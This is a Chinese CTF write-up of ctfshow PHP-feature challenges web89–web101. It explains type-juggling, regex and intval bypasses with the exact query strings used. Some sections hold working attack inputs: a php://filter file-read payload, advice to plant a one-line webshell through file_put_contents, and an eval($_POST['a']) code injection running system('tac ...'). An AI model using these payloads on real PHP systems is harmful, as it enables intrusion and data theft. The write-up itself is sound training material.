ctfshow php特性(web89-web101)

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

web99

web100 

web101


php特性(php基础知识)

web89

<?php
include("flag.php");
highlight_file(_FILE_);

if(isset($_GET['num'])){
	$num=$_GET['num'];
	if(preg_match("/[0-9]/",$num)){
		die("no no no"); #结束脚本呢执行输出指定信息
		}
	if(intval($num)){#把参数转换整数类型
		echo $flag;
		}
}

preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了

但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收到数组 会将数组的每一个值转换为整型从而条件语句为真 输出flag

对于我来说有特性(php基础知识)

1preg_match只能处理字符串

2 url传值的时候 服务器接收值是字符串

2变量可以是数组 :$num是变量 但是传值的时候可以是num[]=???

3当文件B包含一个文件A时 如果在A中定义了一个变量的值 在B中可以获取到该变量的值

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等

代表完全相等 算是python中的同一性 is

如果传入值为4476 就会输出nonono 如果输出flag变量的值必须是4476 这就冲突了 如何解决呢

if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断

第一种方法:十进制是没有前缀的 但是+4476后(到后端就是字符串+4476 所以不等于字符串4476) 就绕过了死亡函数die 但是intval因为有0的参数 它会根据前缀将+4476识别为十进制的4476 所以4476===4476

第二种方法:0x117c是十六进制的4476 传入0x117c字符串 也会绕过死亡函数 并且intval函数会将0x117c当作十六进制 转换成十进制整数

注意 intval默认情况下是转换成十进制整形

对于我来说有特性(php基础知识)

1传参到后端默认是字符串

2intval函数 如果第二个参数为0 就会根据变量的前缀 转换成对应的十进制整形

3===表示完全相等 值和类型必须都相等

web91

<?php
show_source(_FILE_);#将页面源代码输出到页面中
include("flag.php");
$a=$_GET['cmd'];
#正则匹配变量 以php开头并且以php结尾的 也就是精确匹配 
#字符串中必须只有php m修饰符代表多行匹配 也就是说能匹配到php\n或者php\nphp
#如果没有m修饰符 那么不能匹配到php\n了 因为多行匹配的原因
#正则i 为忽略大小写
if(preg_math('/^php$/im',$a)){
	if(preg_math('/^php$/i',$a)){
		echo 'hacker';
	}
	else{
		echo $flag;
	}
else{
	echo "nonono";
}
}

首先传入的字符串必须是php开头结尾的字符串 才能执行语句块 但是语句块内如果字符串为php那就会输出hacker 这就犯冲突了 

这就利用到了m修饰符的作用  多行匹配 以字符串中\n为分隔符 分隔出多行 如果其中一行匹配到php开头或者结尾 就算匹配成功 例如字符"aaa\nphp"第二行匹配到了php字符串 返回true 执行语句块 在语句块中正则匹配 单行匹配 这样就不会将\n视为分隔符了 而是将"aaa\nphp"当作一行进行匹配 从而匹配不上 这样就能输出flag了

对于我来说有特性(php基础知识)

1正则匹配m修饰符为多行匹配 视\n为分隔符 分割多行逐行匹配

2 传参是必须使用%0a作为换行符\n不行 原因:在 HTTP 协议中,换行符(特殊字符)需要使用 %0a(即 \n 的 URL 编码形式)来表示,而不是使用 \n \n在url中属于非法字符 从而导致无法解析错误等一系列问题

3 空格如果进行url编码可能会变成+并不是%20  其中使用urlencode空格会变成+ 注意即可

4 和这道题没关为什么传注释符的时候最好使用--+ 因为--后要加上空格 +或者%20就是空格url编码后的 如果不使用+ --后的空格 可能服务器接收不到 注意就行

web92

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){
	$num=$_GET['num'];
	if($num==4476){
		die("no no no");
	}
	if(intval($num,0)==4476){
		echo $flag;
	}
	else{
		echo intval($num,0);
	}
}

php特性:比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同 也就是说如果传值为4476或者+4476 会将字符串转换成$num==4476中的4476同一类型也就是整形 

因为intval中第二个参数为0 所以传值为十六进制的4476即可

web93

<?php
include("flag.php");
highlight_file(_FILE_);
if(isset($_GET['num'])){
	$num=$_GET['num'];
	if($num==4476){
		die("no no no");
	}
	if(preg_match("/a-z/i",$num)){
		die("no no no");
	}
	if(intval($num,0)==4476){
		echo $flag;
	}
	else{
		echo intval($num,0);
	}
}

上一题的进阶版 就是不能加上一个条件不能字符串中不能存在a-z 那么就不能使用0x117c 十六进制的4476了 传参使用八进制的4476即可 因为八进制前缀为0 当然也可以使用小数进行绕过4476.1

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){//在变量中如果匹配到字符0返回下标位置
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

使用了===进行完全比较 类型与值必须完全相等 并且是和“4476”字符串进行比较

因为有!strpos不能使用八进制的4476 因为开头是0 返回的下标值也为0 取反为1 就会执行语句块

那就使用小数就能 4476.0 小数点后必须有0 因为strpos函数如果匹配不到0返回false 取反为true

php特性

strpos函数匹配字符串中子字符串 如果匹配到返回子字符串第一个位置的下标

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){ # 不能使用小数点 因为==会转换成相同类型 4476.0转换为4476进行比较
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){ #不能有字母
        die("no no no!!");
    }
    if(!strpos($num, "0")){ #必须要有0
        die("no no no!!!");
    }
    if(intval($num,0)===4476){#完全相等类型和值
        echo $flag;
    }
}

有点难搞 不能使用小数点(第一个比较为==会转换类型) 十六进制 八进制

那就逐个尝试

本来想着使用?num=-4476.0 转换类型也没事先通过第一个死亡函数再说 但是发现第二个死亡函数过滤了小数点 于是使用-04476

那就是用?num=-04476 结果无输出 虽然绕过了所有的死亡函数 但是卡在了输出flag的条件上

在本地环境试 如何让intval($num,0)===4476 $num值为多少前提在-04476基础上 因为能绕过前三个死亡函数

还好在本地测试了 -04476还真不行 我以为intval在转换的时候只识别第一个字符负号- 结果识别的是0 就变成-4476是一个八进制 转换十进制 为-2366 那就改为-010547 既然这样那就没必要因为绕过第一个死亡函数而使用-号了 直接使用+号即可+010547 传参+变为空格也是可以的

php特性 ==和===

== 比较时会转换类型 

=== 必须完全相等 类型以及值

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

有两种方法 也算是两个知识点

第一种./file的方式 也就是./flag.php

?u=./flag.php

第二种直接使用php数据流的方式读取文件内容

?u=php://filter/convert.base64-encode/resource=flag.php

注意highlight_file函数必须完全匹配才能显示文件内容 举例文件名为flag.php 如过高亮flag.PHP是不可以的

web97

<?php
include("flag.php");
highlight_file(__FILE__)
if(isset($_POST['a']) and isset($_POST['b'])){
if($_POST['a']!=$_POST['b']){
	if(md5($_POST['a']===md5($_POST['b'])))
		echo $flag;
	else
		print 'wrong';
}
}

a和b必须不同 但是md5值必须相同 想让值不同md5值相同 跟不就不可能

这个时候就用上md5只能处理字符串的知识点了 如果a和b是数组md5处理不了就会返回false

从而false===false

又学到一个知识点在php中 数组就是一个对象

这里使用bp不知道为啥 又来一个小知识点使用bp的时候记得分清GET和POST哦 

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';#这个引用就是地址 类似于c语言中的地址 可以理解为改变了GET的地址 
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

首先就是三元运算 类似于sql中的if函数 先判断GET全局变量是否存在值如果存在将POST引用复制给GET 否则返回一个flag字符串常量

中间cookie和server对我们来说没用 最后的条件是让get中的http_flag=flag 就能输出$flag了 但是因为第一个三目运算的原因 如果get存在值 就会将post引用传给get 从而get又变空了 这个时候只要保障POST中存在HTTP_FLAG=flag且GET存在任意一个变量即可

知识点$_GET是全局变量 如果进行传参 这个全局变量就包含一个关联数组 键就是参数名 值为参数值 

web99

<?php
highlight_file(__FILE__);
$allow=array();#创建一个数组
for ($i=36;$i<0x36d;$i++){#877 从36累加到0x
	array_push($allow,rand(1,$i));#生成一个1-$i的随机整数包含边界放置到数组最后方
}
if(isset($_GET['n'])&&in_array($_GET['n'],$allow)){
	file_put_contents($_GET['n'],$_POST['content']);
}

知识点

in_array函数判断指定字符串是否存在数组中 弱类型比较 1.php和1比较 是比较成功的

in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为整数1

file_put_contents函数将数据写入文件中 如果文件不存在会创建文件

&&比and优先级高&哪怕第一个为假也会计算第二个 

php中的数组 可以是只有值的索引就是0开始的 也可以是键值对形式

直接写一句话木马即可

web100 

<?php
highlight_file(__FILE__);
include("flag.php");
//flag in class ctfshow;
$ctfshow= new ctfshow(); $ctfshow是一个类对象 既然能实例化肯定是包含的ctfshow.php里面定义了一个类
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
# 判断变量是否为数字或者数字字符串
# 等于号优先级高 所以只用看v1为数字即可
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
	if(!preg_match("/\;/",$v2)){
		if(preg_match("/\;/",$v3)){
			eval("$v2('ctfshow')$v3");
		}
	}
}

关键在这一句 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

因为=优先级高 所以他会先对$v0进行赋值 这样就达到了只要是v1为数字即可

if条件中要保证v2没有分号v3要有分号

第一种方法

eval("$v2('ctfshow')$v3"); 这是输出flag的函数 如果能输出呢

var_dump('ctfshow');

echo('ctfshow');

print_r('ctfshow');

都不行

只输出 ctfshow这个字符串 这是为什么呢 因为我们要输出的是$ctfshow变量 但是代码中是ctfshow字符串 从而他只能输出 字符串了 

解决方法就是注释掉

eval("var_dump($ctfshow)/*('ctfshow')*/;");

第二种方法

因为有eval直接尝试一下phpinfo()是否可以

?v1=1&v2=phpinfo()?>&v3=; 可以 直接截断代码 无报错但是phpinfo后的("ctfshow")以及$v3的值会当成字符串输出出来

?v1=1&v2=phpinfo()&v3=; 可以 直接执行phpinfo()  有点小报错不影响

?v1=1&v2=phpinfo();/*&v3=*/; 不可以 v2不能存在分号

?v1=1&v2=phpinfo();echo&v3=;不可以 和上面同理

成功执行后确定为漏洞点 使用一句话木马替换phpinfo

?v1=1&v2=eval($_POST['a'])?>&v3=; v2末尾使用的是?>才可以

虽然最终语句变成了eval("eval(system('ls');)?>  照样可以执行ls

使用shell方式查看文件内容

a=system('tac ctfshow.php');

使用php中高亮显示文件函数 实现实现文件内容

a=highlight_file('./ctfshow.php');  切记要用引号哦  不使用./也可以
都可以查看ctfshow.php中的flag

知标题一识点

1 如果包含了一个文件 那在本文件下可以使用包含文件的变量 以及类 等包含文件内容

2 echo只能以字符串的形式输出 不能输出对象 (但是在类中定义魔术方方法__toString() echo也能输出 输出的是魔术方法返回值)var_dump和print_r可以详细输出对象

3eval函数内的执行语句 有没有分号都能执行成功

4 想要执行shell中的 必须使用system函数 光用eval只是执行代码

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

相较于上一题来说v2过滤了很多字符 还有一种方法能输出就是php反射函数

注意 php反射类简单理解就是 获取了类的信息 以var_dump方式获取后成为一个字符串 使用echo输出出来

?v1=1&v2=echo new Reflectionclass&v3=;

eval("echo new Reflectionclass('ctfshow');");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/334653.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WINCC读写EXCEL-VBS

原创 RENHQ WINCC 关于VBS操作EXCEL的文档不管在论坛上还是在网上&#xff0c;相关的脚本已经很多&#xff0c;但是依然有很多人在问这个问题&#xff0c;于是把我以前在论坛上发的一个集合帖子的脚本拿来&#xff0c;重新开个帖子&#xff0c;如果再有人问的话&#xff0c;可…

MySQL进阶篇:索引(概述,结构,分类,语法,SQL性能分析,索引使用,设计原则)

目录 1.索引概述2.索引结构1.B树&#xff08;多路平衡查找树&#xff09;2.B树3.Hash1.特点2.存储引擎支持 4.选择B树作为InnoDB存储引擎索引结构的原因 3.索引分类1.聚集索引选取规则2.回表查询 4.索引语法1.创建索引2.查看索引3.删除索引 5.SQL性能分析1.SQL执行频率2.慢查询…

Spark流式读取文件数据

流式读取文件数据 from pyspark.sql import SparkSession ss SparkSession.builder.getOrCreate() # todo 注意1&#xff1a;流式读取目录下的文件 --》一定一定要是目录&#xff0c;不是具体的文件&#xff0c;# 目录下产生新文件会进行读取# todo 注意点2&#xff1…

启动低轨道卫星LEO通讯产业与6G 3GPP NTN标准

通讯技术10年一个大跃进&#xff0c;从1990年的2G至2000年的3G网路&#xff0c;2010年的4G到近期2020年蓬勃发展的5G&#xff0c;当通讯技术迈入融合网路&#xff0c;当前的 5G 技术不仅可提供高频宽、低延迟&#xff0c;同时可针对企业与特殊需求以 5G 专网的模式提供各式服务…

面试之Glide如何绑定Activity的生命周期

Glide绑定Activity生命周期 Glide.with() 下面都是它的重载方法&#xff0c;Context&#xff0c;Activity&#xff0c;FragmentActivity, Fragment, android.app.Fragment fragment,View都可以作为他的参数&#xff0c;内容大同小异&#xff0c;都是先getRetriever&#xff0…

简单实用的恒温控制器

工作原理如下&#xff1a;ST是WTQ-288型电接点压力式温度计&#xff0c;当恒温箱内的温度降低到下限时&#xff0c;ST的指针与下限接点接触&#xff0c;双向可控硅通过R被强制触发导通&#xff0c;接通加热器RL的电源&#xff0c;于是恒温箱内温度上升。ST的指针转动&#xff0…

java结合百度ocr实现图片文字提取功能

1.进入百度云控制台&#xff0c;找到文字识别服务&#xff0c;创建一个应用 2.引入ocr需要的maven依赖包 <dependency><groupId>com.baidu.aip</groupId><artifactId>java-sdk</artifactId><version>4.16.11</version> </depend…

深入Android S (12.0) 探索Framework之输入子系统InputReader的流程

Framework层之输入系统 第一篇 深入Android S (12.0) 探索Framework之输入系统IMS的构成与启动 第二篇 深入Android S (12.0) 探索Framework之输入子系统InputReader的流程 文章目录 Framework层之输入系统前言一、基础知识1、输入子系统2、INotify 与 Epoll2.1、INotify 机制…

yolov8的目标检测、实例分割、关节点估计的原理解析

1 YOLO时间线 这里简单列下yolo的发展时间线&#xff0c;对每个版本的提出有个时间概念。 2 yolov8 的简介 工程链接&#xff1a;https://github.com/ultralytics/ultralytics 2.1 yolov8的特点 采用了anchor free方式&#xff0c;去除了先验设置可能不佳带来的影响借鉴General…

ETL概念

ETL ETLELT 技术原理ETL 模式应用场景常见工具ETL未来发展方向 ETL 在BI项目中ETL会花掉整个项目至少1/3的时间&#xff0c; ETL设计的好坏直接关接到BI项目的成败。ETL(Extract-Transform-Load) : 用来描述将数据从来源端经过抽取&#xff08;extract&#xff09;、转换&…

全面了解网络性能监测:从哪些方面进行监测?

目录 摘要 引言 CPU内存监控 磁盘监控 网络监控 GPU监控 帧率监控 总结 摘要 本文介绍了网络性能监测的重要性&#xff0c;并详细介绍了一款名为克魔助手的应用开发工具&#xff0c;该工具提供了丰富的性能监控功能&#xff0c;包括CPU、内存、磁盘、网络等指标的实时…

GET气象台最新发布的气象预警数据

1. 项目需求&#xff1a; 获取济南地区或整个山东地区的所有城市气象灾害预警信息 2. 对接流程 请求接口请求参数返回内容对接数据 1. 请求接口 请将线路地址设置在服务端, 接口线路有多条, 其中一条出问题, 可以及时切换到另外一条线路 线路1&#xff1a;http://v1.yiket…

电池容量常见测试方法分享 -纳米软件

电池容量是衡量电池性能的重要指标之一&#xff0c;它是指电池在一定条件下放出的电量&#xff0c;可以用于帮助评估电池的性能和寿命。那么如何快速测试电池容量呢? 一、用万用表测试 用万用表测试电池容量&#xff0c;需要将万用表调整到电容模式&#xff0c;然后连接电池到…

火速收藏!2024 新年微信红包封面领取全攻略

2024“龙”重登场&#xff01;今年有哪些令人期待的红包封面&#xff1f; 前方大批精美红包封面来袭&#xff0c;全新品牌氛围红包封面上线&#xff0c;支持品牌定制特色氛围元素&#xff0c;沉浸感受浓浓年味儿&#xff0c;收获满满惊喜&#xff01; 新年开好运&#xff0c;微…

iphone5s基带部分电源部分主主电源供电及

时序: 1.,基带电源的供电&#xff0c;基带电源也叫pmu。 首先时序图说电池提供供电&#xff0c;电池是J6接口&#xff0c;视频习惯把接口称之为座子。查U2_RF芯片&#xff0c;发现供电信号为PP_BATT_VCC_CONN&#xff0c;但是没查到跟电池座子有关系&#xff0c;电池座子写的是…

vectorCast——Probe point 功能实现故障注入,局部变量打印,断点调试。

选择一个测试用例,选择coverage窗口进行查看。点击edit probe point,如图所示绿色的小圆圈。选代码中选择需要打断点的地方进行点击。黑色的小圆点都可以选。点击黑色小圆点,小圆点变绿,表示打断点成功。此时就可以根据自己的需求在打断点的位置编写一些C语言的命令语句。点…

C#,因数分解(质因子分解)Pollard‘s Rho算法的源代码

因数分解&#xff08;也称为质因子分解&#xff09;&#xff1a;将一个大整数分解它的质因子之乘积的算法。 Pollard Rho算法的基本思路&#xff1a;先判断当前数是否是素数&#xff08;质数&#xff09;&#xff0c;如果是&#xff0c;则直接返回。如果不是&#xff0c;继续找…

第二百七十六回

文章目录 1. 概念介绍2. 使用方法2.1 修改组件的填充颜色2.2 修改组件的高度2.3 给组件添加圆角 3. 示例代码4. 内容总结 我们在上一章回中介绍了"DropdownButton组件"相关的内容&#xff0c;本章回中将介绍TextField组件的细节.闲话休提&#xff0c;让我们一起Talk …

css3+javaScript实现一个左右钟摆-摇晃的红灯笼网页特效

css3javaScript实现一个左右钟摆-摇晃的红灯笼网页特效&#xff01;前天逛博客时无意中看见了&#xff0c;别人的博客顶部有一个会左右钟摆的摇晃的红灯笼&#xff0c;产生了想法&#xff0c;我也想给自己做一个&#xff0c;但是网上找了很多方案&#xff0c;都没有实现。终于在…

从零开发短视频电商 PaddleOCR Java推理 (五)ONNXRuntime引擎推理

1.把飞桨OCR推理模型转换为ONNX模型 主要有两种使用方式&#xff1a; 方法一&#xff1a;在线转换&#xff1b; VisualDL - 在线的Paddle2ONNX模型转换。 魔塔huggingface 方法二&#xff1a;离线转换&#xff0c;pip安装工具&#xff0c;即可本地转换使用。 借助paddle2onn…